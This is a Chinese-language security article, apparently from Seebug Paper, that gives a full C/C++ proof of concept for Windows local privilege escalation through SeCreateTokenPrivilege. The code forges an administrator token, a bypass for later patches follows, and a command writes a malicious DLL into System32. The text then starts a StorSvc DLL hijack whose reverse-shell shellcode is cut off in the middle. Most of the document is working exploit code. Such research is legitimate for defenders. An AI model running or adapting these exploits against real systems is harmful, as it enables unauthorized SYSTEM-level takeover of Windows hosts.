作者:WHOAMI@XIAORANG.LAB
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org

SeCreateTokenPrivilege

在 Windows 系統中,存在一個名為 SeCreateTokenPrivilege 的特權,它在 Microsoft 官方文檔中被描述為 “Create a token object”。它被認為是 “上帝” 權限,因為擁有該特權的任何進程能夠通過 ZwCreateToken API 創建主令牌,該函數是 Windows 操作系統的 Native API,其語法如下。

NTSTATUS ZwCreateToken(
    OUT PHANDLE TokenHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes,
    IN TOKEN_TYPE Type,
    IN PLUID AuthenticationId,
    IN PLARGE_INTEGER ExpirationTime,
    IN PTOKEN_USER User,
    IN PTOKEN_GROUPS Groups,
    IN PTOKEN_PRIVILEGES Privileges,
    IN PTOKEN_OWNER Owner,
    IN PTOKEN_PRIMARY_GROUP PrimaryGroup,
    IN PTOKEN_DEFAULT_DACL DefaultDacl,
    IN PTOKEN_SOURCE Source
);
  • TokenHandle:用于接收創建的訪問令牌的句柄。
  • DesiredAccess:訪問令牌的所需訪問權限,使用 TOKEN_ALL_ACCESS 可以獲得所有權限。
  • ObjectAttributes:指向 OBJECT_ATTRIBUTES 結構的指針,用于指定令牌對象的屬性。
  • Type:指定要創建的令牌的類型,如 TokenPrimary 或 TokenImpersonation。
  • AuthenticationId:指定令牌的身份驗證標識。
  • ExpirationTime:指定令牌的過期時間,或使用 NULL 表示不設置過期時間。
  • User:指向 TOKEN_USER 結構的指針,用于指定令牌所屬的用戶。
  • Groups:指向 TOKEN_GROUPS 結構的指針,用于指定令牌所屬的組。
  • Privileges:指向 TOKEN_PRIVILEGES 結構的指針,用于指定令牌的特權。
  • Owner:指向 TOKEN_OWNER 結構的指針,用于指定令牌的所有者。
  • PrimaryGroup:指向 TOKEN_PRIMARY_GROUP 結構的指針,用于指定令牌的主組。
  • DefaultDacl:指向 TOKEN_DEFAULT_DACL 結構的指針,用于指定令牌的默認 DACL。
  • Source:指向 TOKEN_SOURCE 結構的指針,用于指定令牌的源標識。

如果我們接管了擁有 SeCreateTokenPrivilege 特權的賬戶或進程,就可以通過 ZwCreateToken() 函數制作一個新的模擬令牌并添加特權組的 SID,實現特權提升。

如前所述,我們希望在令牌上啟用本地管理員組。為此,我們使用本地管理員組的 RID 構建一個 SID:

// S-1-5-32-544
SID_BUILTIN LocalAdminGroupSID = { 1, 2,{ 0, 0, 0, 0, 0, 5 },{ 32,                                                DOMAIN_ALIAS_RID_ADMINS } };

然后我們遍歷令牌的組并將其從當前用戶提升為管理員:

for (DWORD i = 0; i < pTokenGroups->GroupCount; i++)
{
    pSid = (PISID)pTokenGroups->Groups[i].Sid;
    if (pSid->SubAuthority[pSid->SubAuthorityCount - 1] == DOMAIN_ALIAS_RID_USERS)
    {
        memcpy(pSid, &LocalAdminGroupSID, sizeof(LocalAdminGroupSID));
        pTokenGroups->Groups[i].Attributes = SE_GROUP_ENABLED;
        wprintf(L"[*] Add extra SID S-1-5-32-544 to token.\n");
    }
}

最后的更改是確保我們正在構建 TokenImpersonation 模擬級別的令牌,這可以在令牌的對象屬性中設置:

SECURITY_QUALITY_OF_SERVICE securityQualityOfService = { sizeof(securityQualityOfService),
                                                         SecurityImpersonation, 
                                                         SECURITY_STATIC_TRACKING, FALSE };
OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes), 0, 0, 0, 0, &securityQualityOfService };

目前只剩下最后一個難題,就是我們將如何使用生成的模擬令牌,因為我們假設我們只擁有 SeCreateTokenPrivilege 特權,沒有其他與模擬相關的特權(例如 SeImpersonatePrivilege)。我們回顧 Windows 有關令牌模擬的相關規則:

  • IF the token level < Impersonate THEN allow (such tokens are called “Identification” level and can not be used for privileged actions).
  • IF the process has “Impersonate” privilege THEN allow.
  • IF the process integrity level >= the token integrity level AND the process user == token user THEN allow ELSE restrict the token to “Identification” level (no privileged actions possible).

我們關注最后一條規則 “IF the process integrity level >= the token integrity level AND the process user == token user THEN allow ELSE restrict the token to “Identification” level (no privileged actions possible)”,也就是說,只要令牌是給我們當前用戶的,并且完整性級別小于或等于當前進程完整性級別,我們就應該能夠在沒有任何特殊權限的情況下模擬令牌。令牌的完整性級別可以在構造令牌時設置。我們只需將完整性級別設置為 “Medium”,然后調用 SetThreadToken() 函數將當前線程的令牌替換為新令牌即可。

如下圖所示,本地用戶 John 擁有 SeCreateTokenPrivilege 特權。

image-20230706124651014

我們可以通過 ZwCreateToken() 函數創建一個提升權限的模擬令牌,使用該令牌創建線程實現任意文件寫入,最終通過 DLL 劫持等方法實現提權。下面給出可供參考的利用代碼。

Implemented By C/C++

Main Fcuntion

主函數首先從命令行獲取 -s-d 兩個參數,分別對應后續文件寫入的源文件和目的文件,然后通過 GetCurrentProcess()OpenProcessToken() 函數打開當前進程的句柄,如下所示。

int wmain(int argc, wchar_t* argv[])
{
    HANDLE hToken = NULL;
    HANDLE pElevatedToken = NULL;
    HANDLE hThread = NULL;
    LPCWSTR sourceFile = NULL;
    LPCWSTR destFile = NULL;

    while ((argc > 1) && (argv[1][0] == '-'))
    {
        switch (argv[1][1])
        {
        case 's':
            ++argv;
            --argc;
            if (argc > 1 && argv[1][0] != '-')
            {
                sourceFile = (LPCWSTR)argv[1];
            }
            break;
        case 'd':
            ++argv;
            --argc;
            if (argc > 1 && argv[1][0] != '-')
            {
                destFile = (LPCWSTR)argv[1];
            }
            break;
        default:
            wprintf(L"[-] Invalid Argument: %s.\n", argv[1]);
            return 0;
        }

        ++argv;
        --argc;
    }

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))
    {
        wprintf(L"[-] OpenProcessToken Error: [%u].\n", GetLastError());
        return 0;
    }

    // Enable SeCreateTokenPrivilege for the current process token.
    if (!EnableTokenPrivilege(hToken, SE_CREATE_TOKEN_NAME))
    {
        wprintf(L"[-] Failed to enable SeCreateTokenPrivilege for the current process token.\n");
        return 0;
    }

    pElevatedToken = CreateUserToken(hToken);
    if (pElevatedToken == NULL)
    {
        wprintf(L"[-] Failed to create user token.\n");
        return 0;
    }

    if (!DisplayTokenInformation(pElevatedToken))
    {
        wprintf(L"[-] Failed to get S4U token information.\n");
        return 0;
    }

    hThread = GetCurrentThread();

    if (!SetThreadToken(&hThread, pElevatedToken))
    {
        wprintf(L"[-] SetThreadToken Error: [%u].\n", GetLastError());
        return 0;
    }
    wprintf(L"\n[*] Successfully impersonated the elevated token.\n");

    if (!ExploitSeCreateTokenPrivilege(sourceFile, destFile))
    {
        wprintf(L"[-] Failed to exploit SeCreateTokenPrivilege.\n");
        return 0;
    }
}

然后調用 EnableTokenPrivilege() 函數,該函數通過 AdjustTokenPrivileges() 函數為當前進程開啟 SeCreateTokenPrivilege 特權,如下所示。

BOOL EnableTokenPrivilege(HANDLE hToken, LPCWSTR lpName)
{
    BOOL status = FALSE;
    LUID luidValue = { 0 };
    TOKEN_PRIVILEGES tokenPrivileges;

    // Get the LUID value of the privilege for the local system
    if (!LookupPrivilegeValueW(NULL, lpName, &luidValue))
    {
        wprintf(L"[-] LookupPrivilegeValue Error: [%u].\n", GetLastError());
        return status;
    }

    // Set escalation information
    tokenPrivileges.PrivilegeCount = 1;
    tokenPrivileges.Privileges[0].Luid = luidValue;
    tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    // Elevate Process Token Access
    if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, sizeof(tokenPrivileges), NULL, NULL))
    {
        wprintf(L"[-] AdjustTokenPrivileges Error: [%u].\n", GetLastError());
        return status;
    }
    else
    {
        status = TRUE;
    }
    return status;
}

接著,憑借已開啟的 SeCreateTokenPrivilege 特權,調用 CreateUserToken() 函數創建新令牌。

Create User Token

CreateUserToken() 函數的定義如下。

HANDLE CreateUserToken(HANDLE hToken)
{
    NTSTATUS Status;
    HANDLE pElevatedToken = NULL;
    PTOKEN_USER pTokenUser = NULL;
    PTOKEN_PRIVILEGES pTokenPrivileges = NULL;
    PTOKEN_GROUPS pTokenGroups = NULL;
    PTOKEN_PRIMARY_GROUP pTokenPrimaryGroup = NULL;
    PTOKEN_DEFAULT_DACL pTokenDefaultDacl = NULL;
    TOKEN_SOURCE tokenSource;
    PTOKEN_OWNER pTokenOwner = NULL;
    SECURITY_QUALITY_OF_SERVICE securityQualityOfService = { sizeof(securityQualityOfService), SecurityImpersonation, SECURITY_STATIC_TRACKING, FALSE };
    OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes), 0, 0, 0, 0, &securityQualityOfService };
    LUID AuthenticationId = SYSTEM_LUID;
    LARGE_INTEGER ExpirationTime;

    _ZwCreateToken ZwCreateToken;

    PISID pSid = NULL;
    SID_BUILTIN LocalAdminGroupSID = { 1, 2,{ 0, 0, 0, 0, 0, 5 },{ 32, DOMAIN_ALIAS_RID_ADMINS } };
    SID_INTEGRITY IntegrityMediumSID = { 1, 1, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID };

    HANDLE hThread = NULL;

    ZwCreateToken = (_ZwCreateToken)GetProcAddress(LoadLibraryA("ntdll"), "ZwCreateToken");
    if (ZwCreateToken == NULL) {
        printf("[-] Failed to load ZwCreateToken: %d\n", GetLastError());
        return NULL;
    }
    wprintf(L"[*] ZwCreateToken function loaded.\n");
    pTokenUser = (PTOKEN_USER)GetTokenInfo(hToken, TokenUser);

    strcpy_s(tokenSource.SourceName, TOKEN_SOURCE_LENGTH, "User32");
    AllocateLocallyUniqueId(&tokenSource.SourceIdentifier);

    pTokenPrivileges = (PTOKEN_PRIVILEGES)LocalAlloc(LMEM_FIXED, sizeof(TOKEN_PRIVILEGES) + (sizeof(LUID_AND_ATTRIBUTES) * 4));
    pTokenPrivileges = (PTOKEN_PRIVILEGES)GetTokenInfo(hToken, TokenPrivileges);
    SetTokenPrivileges(pTokenPrivileges);
    pTokenGroups = (PTOKEN_GROUPS)GetTokenInfo(hToken, TokenGroups);
    pTokenPrimaryGroup = (PTOKEN_PRIMARY_GROUP)GetTokenInfo(hToken, TokenPrimaryGroup);
    pTokenDefaultDacl = (PTOKEN_DEFAULT_DACL)GetTokenInfo(hToken, TokenDefaultDacl);

    for (DWORD i = 0; i < pTokenGroups->GroupCount; i++)
    {
        if (pTokenGroups->Groups[i].Attributes & SE_GROUP_INTEGRITY)
        {
            memcpy(pTokenGroups->Groups[i].Sid, &IntegrityMediumSID, sizeof(IntegrityMediumSID));
            wprintf(L"[*] Set the token integrity level to medium.\n");
        }

        pSid = (PISID)pTokenGroups->Groups[i].Sid;
        if (pSid->SubAuthority[pSid->SubAuthorityCount - 1] == DOMAIN_ALIAS_RID_USERS)
        {
            memcpy(pSid, &LocalAdminGroupSID, sizeof(LocalAdminGroupSID));
            pTokenGroups->Groups[i].Attributes = SE_GROUP_ENABLED;
            wprintf(L"[*] Add extra SID S-1-5-32-544 to token.\n");
        }
        else
        {
            pTokenGroups->Groups[i].Attributes &= ~SE_GROUP_USE_FOR_DENY_ONLY;
            pTokenGroups->Groups[i].Attributes &= ~SE_GROUP_ENABLED;
        }
    }

    pTokenOwner = (PTOKEN_OWNER)LocalAlloc(LPTR, sizeof(PSID));
    pTokenOwner->Owner = pTokenUser->User.Sid;

    ExpirationTime.HighPart = 0xFFFFFFFF;
    ExpirationTime.LowPart = 0xFFFFFFFF;

    Status = ZwCreateToken(
        &pElevatedToken,
        TOKEN_ALL_ACCESS,
        &objectAttributes,
        TokenImpersonation,
        &AuthenticationId,
        &ExpirationTime,
        pTokenUser,
        pTokenGroups,
        pTokenPrivileges,
        pTokenOwner,
        pTokenPrimaryGroup,
        pTokenDefaultDacl,
        &tokenSource
    );
    if (Status != STATUS_SUCCESS)
    {
        wprintf(L"[-] ZwCreateToken Error: [0x%x].\n", Status);
        goto Clear;
    }
    wprintf(L"[*] ZwCreateToken successfully and get elevated token:\n\n");

    goto Clear;

Clear:
    if (pTokenPrivileges)
        LocalFree(pTokenPrivileges);
    if (pTokenOwner)
        LocalFree(pTokenOwner);
    if (hToken)
        CloseHandle(hToken);

    return pElevatedToken;
}

CreateUserToken() 函數內部,首先定義了新令牌對象的屬性,以保證最終生成的令牌的模擬級別為 SecurityImpersonation:

SECURITY_QUALITY_OF_SERVICE securityQualityOfService = { sizeof(securityQualityOfService), SecurityImpersonation, SECURITY_STATIC_TRACKING, FALSE };
OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes), 0, 0, 0, 0, &securityQualityOfService };

然后定義了兩個 SID,分別代表本地管理員組的 SID,和 Medium 完整想等級等級的 SID:

SID_BUILTIN LocalAdminGroupSID = { 1, 2,{ 0, 0, 0, 0, 0, 5 },{ 32, DOMAIN_ALIAS_RID_ADMINS } };
SID_INTEGRITY IntegrityMediumSID = { 1, 1, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID };

接著通過 GetProcAddress() API 將 ZwCreateToken() 函數從 ntdll.dll 模塊中加載進來,需要預先定義 ZwCreateToken 類型:

// ...
typedef NTSYSAPI NTSTATUS(NTAPI* _ZwCreateToken)(
    OUT PHANDLE TokenHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes,
    IN TOKEN_TYPE Type,
    IN PLUID AuthenticationId,
    IN PLARGE_INTEGER ExpirationTime,
    IN PTOKEN_USER User,
    IN PTOKEN_GROUPS Groups,
    IN PTOKEN_PRIVILEGES Privileges,
    IN PTOKEN_OWNER Owner,
    IN PTOKEN_PRIMARY_GROUP PrimaryGroup,
    IN PTOKEN_DEFAULT_DACL DefaultDacl,
    IN PTOKEN_SOURCE Source
);
// ...
_ZwCreateToken ZwCreateToken;
// ...
ZwCreateToken = (_ZwCreateToken)GetProcAddress(LoadLibraryA("ntdll"), "ZwCreateToken");
if (ZwCreateToken == NULL) {
    printf("[-] Failed to load ZwCreateToken: %d\n", GetLastError());
    return NULL;
}
wprintf(L"[*] ZwCreateToken function loaded.\n");

由于要創建一個新的令牌,因此必須向 ZwCreateToken() 函數提供令牌的 TokenPrivileges、TokenGroups、TokenPrimaryGroup 和 TokenDefaultDacl 等信息。我們不需要自己構造這些信息,只需要從當前進程令牌中獲取,最后將這些進行傳入 ZwCreateToken() 函數。在此之前,需要在獲取到的 TokenGroups 信息中設置 LocalAdminGroupSID 和 IntegrityMediumSID 兩個 SID,以保證新生成的令牌擁有本地管理員權限并且完整性等級為 Medium。

pTokenPrivileges = (PTOKEN_PRIVILEGES)LocalAlloc(LMEM_FIXED, sizeof(TOKEN_PRIVILEGES) + (sizeof(LUID_AND_ATTRIBUTES) * 4));
pTokenPrivileges = (PTOKEN_PRIVILEGES)GetTokenInfo(hToken, TokenPrivileges);
SetTokenPrivileges(pTokenPrivileges);
pTokenGroups = (PTOKEN_GROUPS)GetTokenInfo(hToken, TokenGroups);
pTokenPrimaryGroup = (PTOKEN_PRIMARY_GROUP)GetTokenInfo(hToken, TokenPrimaryGroup);
pTokenDefaultDacl = (PTOKEN_DEFAULT_DACL)GetTokenInfo(hToken, TokenDefaultDacl);

for (DWORD i = 0; i < pTokenGroups->GroupCount; i++)
{
    if (pTokenGroups->Groups[i].Attributes & SE_GROUP_INTEGRITY)
    {
        memcpy(pTokenGroups->Groups[i].Sid, &IntegrityMediumSID, sizeof(IntegrityMediumSID));
        wprintf(L"[*] Set the token integrity level to medium.\n");
    }

    pSid = (PISID)pTokenGroups->Groups[i].Sid;
    if (pSid->SubAuthority[pSid->SubAuthorityCount - 1] == DOMAIN_ALIAS_RID_USERS)
    {
        memcpy(pSid, &LocalAdminGroupSID, sizeof(LocalAdminGroupSID));
        pTokenGroups->Groups[i].Attributes = SE_GROUP_ENABLED;
        wprintf(L"[*] Add extra SID S-1-5-32-544 to token.\n");
    }
    else
    {
        pTokenGroups->Groups[i].Attributes &= ~SE_GROUP_USE_FOR_DENY_ONLY;
        pTokenGroups->Groups[i].Attributes &= ~SE_GROUP_ENABLED;
    }
}

于此同時,我們當然可以為新生成的令牌開啟一些新的危險特權。如下所示,SetTokenPrivileges() 函數在令牌的 TokenPrivileges 信息中啟用了以下六個特權,他們都可以被濫用以實現特權提升。

  • SeImpersonatePrivilege
  • SeAssignPrimaryTokenPrivilege
  • SeCreateTokenPrivilege
  • SeRestorePrivilege
  • SeTakeOwnershipPrivilege
  • SeDebugPrivilege
void SetTokenPrivileges(PTOKEN_PRIVILEGES pTokenPrivileges)
{
    LUID luid;

    pTokenPrivileges->PrivilegeCount = 6;

    // Enable SeImpersonatePrivilege
    LookupPrivilegeValue(NULL, SE_IMPERSONATE_NAME, &luid);
    pTokenPrivileges->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    pTokenPrivileges->Privileges[0].Luid = luid;

    // Enable SeAssignPrimaryTokenPrivilege
    LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &luid);
    pTokenPrivileges->Privileges[1].Attributes = SE_PRIVILEGE_ENABLED;
    pTokenPrivileges->Privileges[1].Luid = luid;

    // Enable SeCreateTokenPrivilege
    LookupPrivilegeValue(NULL, SE_CREATE_TOKEN_NAME, &luid);
    pTokenPrivileges->Privileges[2].Attributes = SE_PRIVILEGE_ENABLED;
    pTokenPrivileges->Privileges[2].Luid = luid;

    // Enable SeRestorePrivilege
    LookupPrivilegeValue(NULL, SE_RESTORE_NAME, &luid);
    pTokenPrivileges->Privileges[3].Attributes = SE_PRIVILEGE_ENABLED;
    pTokenPrivileges->Privileges[3].Luid = luid;

    // Enable SeTakeOwnershipPrivilege
    LookupPrivilegeValue(NULL, SE_TAKE_OWNERSHIP_NAME, &luid);
    pTokenPrivileges->Privileges[4].Attributes = SE_PRIVILEGE_ENABLED;
    pTokenPrivileges->Privileges[4].Luid = luid;

    // Enable SeDebugPrivilege
    LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
    pTokenPrivileges->Privileges[5].Attributes = SE_PRIVILEGE_ENABLED;
    pTokenPrivileges->Privileges[5].Luid = luid;
}

為了能夠成功模擬新生成的令牌,還有最后重要的一點,就是將令牌的擁有者設為當前用戶。這里也是先查詢當前進程令牌的 TokenUser 信息,該信息與訪問令牌關聯的用戶的 SID,我們只需要將這個 SID 設置到 ZwCreateToken() 函數的 Owner 參數中即可:

pTokenUser = (PTOKEN_USER)GetTokenInfo(hToken, TokenUser);
// ...
pTokenOwner = (PTOKEN_OWNER)LocalAlloc(LPTR, sizeof(PSID));
pTokenOwner->Owner = pTokenUser->User.Sid;

最后將調用 ZwCreateToken() 函數來生成模擬令牌,生成的令牌被保存在 pElevatedToken 指針所指向的內存中:

Status = ZwCreateToken(
    &pElevatedToken,
    TOKEN_ALL_ACCESS,
    &objectAttributes,
    TokenImpersonation,
    &AuthenticationId,
    &ExpirationTime,
    pTokenUser,
    pTokenGroups,
    pTokenPrivileges,
    pTokenOwner,
    pTokenPrimaryGroup,
    pTokenDefaultDacl,
    &tokenSource
);
if (Status != STATUS_SUCCESS)
{
    wprintf(L"[-] ZwCreateToken Error: [0x%x].\n", Status);
    goto Clear;
}
wprintf(L"[*] ZwCreateToken successfully and get elevated token:\n\n");

Display Token Information

如果沒有什么問題,CreateUserToken() 會將新令牌返回到主函數,并傳遞給 DisplayTokenInformation() 函數獲取并打印令牌的 TokenStatistics、TokenGroups、TokenIntegrityLevel 和 TokenPrivileges 信息,如下所示。

BOOL DisplayTokenInformation(HANDLE hToken)
{
    BOOL status = FALSE;
    DWORD dwLength = 0;
    PTOKEN_STATISTICS pTokenStatistics = NULL;
    PTOKEN_GROUPS pTokenGroups = NULL;
    DWORD dwNameSize;
    DWORD dwDomainSize;
    LPWSTR lpGroupName = NULL;
    LPWSTR lpDomainName = NULL;
    LPWSTR lpGroupAccountName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
    SID_NAME_USE peUse;

    PTOKEN_MANDATORY_LABEL pTokenIntegrityLevel = NULL;
    PSID pSid;
    LPWSTR lpGroupSid;
    LPWSTR lpIntegritySid;
    UINT len = 0;
    PTOKEN_PRIVILEGES pTokenPrivileges = NULL;
    LPWSTR lpName = NULL;
    LPWSTR lpAttrbutes = (LPWSTR)LocalAlloc(LPTR, 8 * sizeof(WCHAR));

    // Get Token Statistics Information
    pTokenStatistics = (PTOKEN_STATISTICS)GetTokenInfo(hToken, TokenStatistics);
    if (pTokenStatistics != NULL)
    {
        wprintf(L" > Token Statistics Information: \n");
        wprintf(L"   Token Id            : %u:%u (%08x:%08x)\n", pTokenStatistics->TokenId.HighPart, pTokenStatistics->TokenId.LowPart, pTokenStatistics->TokenId.HighPart, pTokenStatistics->TokenId.LowPart);
        wprintf(L"   Authentication Id   : %u:%u (%08x:%08x)\n", pTokenStatistics->AuthenticationId.HighPart, pTokenStatistics->AuthenticationId.LowPart, pTokenStatistics->AuthenticationId.HighPart, pTokenStatistics->AuthenticationId.LowPart);
        wprintf(L"   Token Type          : %d\n", pTokenStatistics->TokenType);
        wprintf(L"   Impersonation Level : %d\n", pTokenStatistics->ImpersonationLevel);
        wprintf(L"   Group Count         : %d\n", pTokenStatistics->GroupCount);
        wprintf(L"   Privilege Count     : %d\n\n", pTokenStatistics->PrivilegeCount);

        status = TRUE;
    }

    pTokenGroups = (PTOKEN_GROUPS)GetTokenInfo(hToken, TokenGroups);
    if (pTokenGroups != NULL)
    {
        wprintf(L" > Token Group Information: \n");
        for (DWORD i = 0; i < pTokenGroups->GroupCount; i++)
        {
            if (!(pTokenGroups->Groups[i].Attributes & SE_GROUP_LOGON_ID))
            {
                pSid = pTokenGroups->Groups[i].Sid;
                dwNameSize = MAX_PATH;
                dwDomainSize = MAX_PATH;
                lpGroupName = (LPWSTR)LocalAlloc(LPTR, dwNameSize * sizeof(WCHAR));
                lpDomainName = (LPWSTR)LocalAlloc(LPTR, dwDomainSize * sizeof(WCHAR));
                if (!LookupAccountSidW(NULL, pSid, lpGroupName, &dwNameSize, lpDomainName, &dwDomainSize, &peUse))
                {
                    wprintf(L"[-] LookupAccountSidW Error: [%u].\n", GetLastError());
                    goto Clear;
                }

                if (!ConvertSidToStringSidW(pSid, &lpGroupSid)) {
                    wprintf(L"[-] ConvertSidToStringSidW Error: [%u].\n", GetLastError());
                    goto Clear;
                }

                len = wsprintf(lpGroupAccountName, TEXT("%ws%ws%ws"), lpDomainName, dwDomainSize != 0 ? L"\\" : L"", lpGroupName);
                wprintf(L"   %-50ws%ws\n", lpGroupAccountName, lpGroupSid);
                dwNameSize = MAX_PATH;
                dwDomainSize = MAX_PATH;
            }

        }

        status = TRUE;
    }

    pTokenIntegrityLevel = (PTOKEN_MANDATORY_LABEL)GetTokenInfo(hToken, TokenIntegrityLevel);
    if (pTokenIntegrityLevel != NULL)
    {
        wprintf(L"\n > Token Integrity Level: \n");
        pSid = pTokenIntegrityLevel->Label.Sid;
        if (!ConvertSidToStringSidW(pSid, &lpIntegritySid)) {
            wprintf(L"[-] ConvertSidToStringSidW Error: [%u].\n", GetLastError());
            goto Clear;
        }
        wprintf(L"   %ws\n", lpIntegritySid);

        status = TRUE;
    }

    pTokenPrivileges = (PTOKEN_PRIVILEGES)GetTokenInfo(hToken, TokenPrivileges);

    wprintf(L"\n > Token Privileges Information: \n");
    dwLength = MAX_PATH;
    for (int i = 0; i < pTokenPrivileges->PrivilegeCount; i++)
    {
        lpName = (LPWSTR)LocalAlloc(LPTR, dwLength * sizeof(WCHAR));
        if (!(status = LookupPrivilegeNameW(NULL, &pTokenPrivileges->Privileges[i].Luid, lpName, &dwLength)))
        {
            wprintf(L"[-] LookupPrivilegeNameW Error: [%u].\n", GetLastError());
            return status;
        }
        wprintf(L"   %-50ws", lpName);
        if (pTokenPrivileges->Privileges[i].Attributes & SE_PRIVILEGE_ENABLED)
            len += wsprintf(lpAttrbutes, TEXT("Enabled"));
        if (pTokenPrivileges->Privileges[i].Attributes & SE_PRIVILEGE_ENABLED_BY_DEFAULT)
            len += wsprintf(lpAttrbutes, TEXT("Enabled"));
        if (lpAttrbutes[0] == 0)
            wsprintf(lpAttrbutes, TEXT("Disabled"));
        wprintf(L"%ws\n", lpAttrbutes);
        dwLength = MAX_PATH;
    }

Clear:
    if (pTokenStatistics != NULL)
        LocalFree(pTokenStatistics);
    if (pTokenGroups != NULL)
        LocalFree(pTokenGroups);

    return status;
}

Impersonate The Elevated Token

接著,會調用 SetThreadToken() 函數將當前線程的令牌替換為新生成的令牌,如下所示。

hThread = GetCurrentThread();

if (!SetThreadToken(&hThread, pElevatedToken))
{
    wprintf(L"[-] SetThreadToken Error: [%u].\n", GetLastError());
    return 0;
}
wprintf(L"\n[*] Successfully impersonated the elevated token.\n");

到這里,我們就已經獲取了本地管理員權限了,寫入受保護目錄、并寫入/覆蓋注冊表項等特權操作都是輕而易舉。

Write To Protected Directory

在我的 POC 中,我編寫了 ExploitSeCreateTokenPrivilege() 函數,用于將指定文件寫入受保護目錄,如下所示。

BOOL ExploitSeCreateTokenPrivilege(LPCWSTR sourceFile, LPCWSTR destFile)
{
    BOOL status = FALSE;
    HANDLE hSource, hDestination;
    char buffer[SIZE + 1];
    DWORD dwBytesRead, dwBytesWrite;

    if (sourceFile && destFile)
    {
        // Open source file.
        hSource = CreateFileW(sourceFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hSource == INVALID_HANDLE_VALUE)
        {
            wprintf(L"[-] Could not open source file by CreateFileW: [%u].\n", GetLastError());
            return status;
        }
        // Create destination file.
        hDestination = CreateFileW(destFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hDestination == INVALID_HANDLE_VALUE)
        {
            wprintf(L"[-] Could not create destination file by CreateFileW: [%u].\n", GetLastError());
            return status;
        }
        // Read from source file.
        if (!ReadFile(hSource, buffer, SIZE, &dwBytesRead, NULL))
        {
            wprintf(L"[-] ReadFile Error: [%u].\n", GetLastError());
            return status;
        }
        wprintf(L"[*] Read bytes from %ws: %d\n", sourceFile, dwBytesRead);
        // Write to destination file.
        if (!WriteFile(hDestination, buffer, dwBytesRead, &dwBytesWrite, NULL))
        {
            wprintf(L"[-] WriteFile Error: [%u].\n", GetLastError());
            return status;
        }
        printf("[*] Bytes written to %ws: %d\n", destFile, dwBytesWrite);
        status = TRUE;
    }
}

你可以在這里找到我完整的 POC 代碼:ExploitSeCreateTokenPrivilege.cpp

Let’s see it in action

編譯上述 POC,上傳到目標主機,在擁有 SeCreateTokenPrivilege 特權的賬戶下執行以下命令,即可向 C:\Windows\System32\ 目錄中寫入一個惡意 DLL 文件,如下圖所示。

SeCreateTokenPrivilege.exe -s malicious.dll -d C:\Windows\System32\malicious.dll

image-20230706134621994

image-20230706135025054

ANONYMOUS_LOGON_LUID

不幸的是,以上測試是在 Windows 10 1803 系統上執行的,它在 Windows 10 >= 1809 或 Windows Server 2019 服務器上并不起作用......如下圖所示,會報 [1346] 錯誤:“Either a required impersonation level was not provided, or the provided impersonation level is invalid.”。

image-20230706143053564

這是由于在安裝了 KB4507459 補丁之后,微軟添加了一些補充檢查。我們生成的令牌被認為是 “特權” 的,因為它具有 “上帝” 特權和強大的組成員身份,因此新的附加控件將由于缺乏授予調用進程的特定模擬特權而將令牌的模擬級別被自動降級為 SecurityIdentification,該級別的令牌服務器不能模擬客戶端。

但永遠不要放棄!還記得 ZwCreateToken() 函數中的 AuthenticationId 嗎?在之前,它被設置為 SYSTEM_LUID(0x3e7),也就是 SYSTEM 帳戶的登錄會話 ID。現在,讓我們嘗試更改它并為其分配 ANONYMOUS_LOGON_LUID(0x3e6),如下所示,也許這一項被認為是無害的,但是所有后續檢查都被跳過。

HANDLE CreateUserToken(HANDLE hToken)
{
    // ...
    LUID AuthenticationId = ANONYMOUS_LOGON_LUID;
    // ...
    Status = ZwCreateToken(
        &pElevatedToken,
        // ...
        &AuthenticationId,
        // ...
    );
    // ...
}

如下圖所示,我們成功在最新的 Windows 版本(Windows Server 2022 21H2 20348.1726)上利用 SeCreateTokenPrivilege 實現任意文件寫入。

image-20230706144410386

Local Privilege Escalation via StorSvc

在實際利用中,我們可以通過存在缺陷的服務,利用 DLL 劫持實現本地特權提升。Windows 的 StorSvc 是一項以 NT AUTHORITY\SYSTEM 賬戶權限運行的服務,為存儲設置和外部存儲擴展提供啟用服務。該服務在本地調用 SvcRebootToFlashingMode RPC 方法時,最終會嘗試加載缺少的 SprintCSP.dll DLL,如下圖所示。

StorSvc.dll!SvcRebootToFlashingMode() 方法會調用 StorSvc.dll!InitResetPhone() 方法:

image-20230706150931578

StorSvc.dll!InitResetPhone() 方法方法內部繼續調用 StorSvc.dll!ResetPhoneWorkerCallback() 方法:

image-20230706151109765

最終,StorSvc.dll!ResetPhoneWorkerCallback() 將會嘗試加載缺失的 SprintCSP.dll 模塊,如下圖所示。

image-20230706151203987

通過向 C:\Windows\System32\ 目錄中寫入一個惡意的 SprintCSP.dll 模塊,當我們通過 RPC 調用 StorSvc.dll!SvcRebootToFlashingMode() 方法時,就會加載惡意的 DLL。

我們首先用 Visual Studio 創建一個 DLL 項目,用于制作 SprintCSP.dll,主要代碼如下,其中的 Shellcode 用于向本地的 2333 端口反彈一個 Shell。

  • SprintCSP.dll
// dllmain.cpp : 定義 DLL 應用程序的入口點。
#include "pch.h"

DWORD WINAPI DoMagic(LPVOID lpParameter) {
    unsigned char shellcode[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
        "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
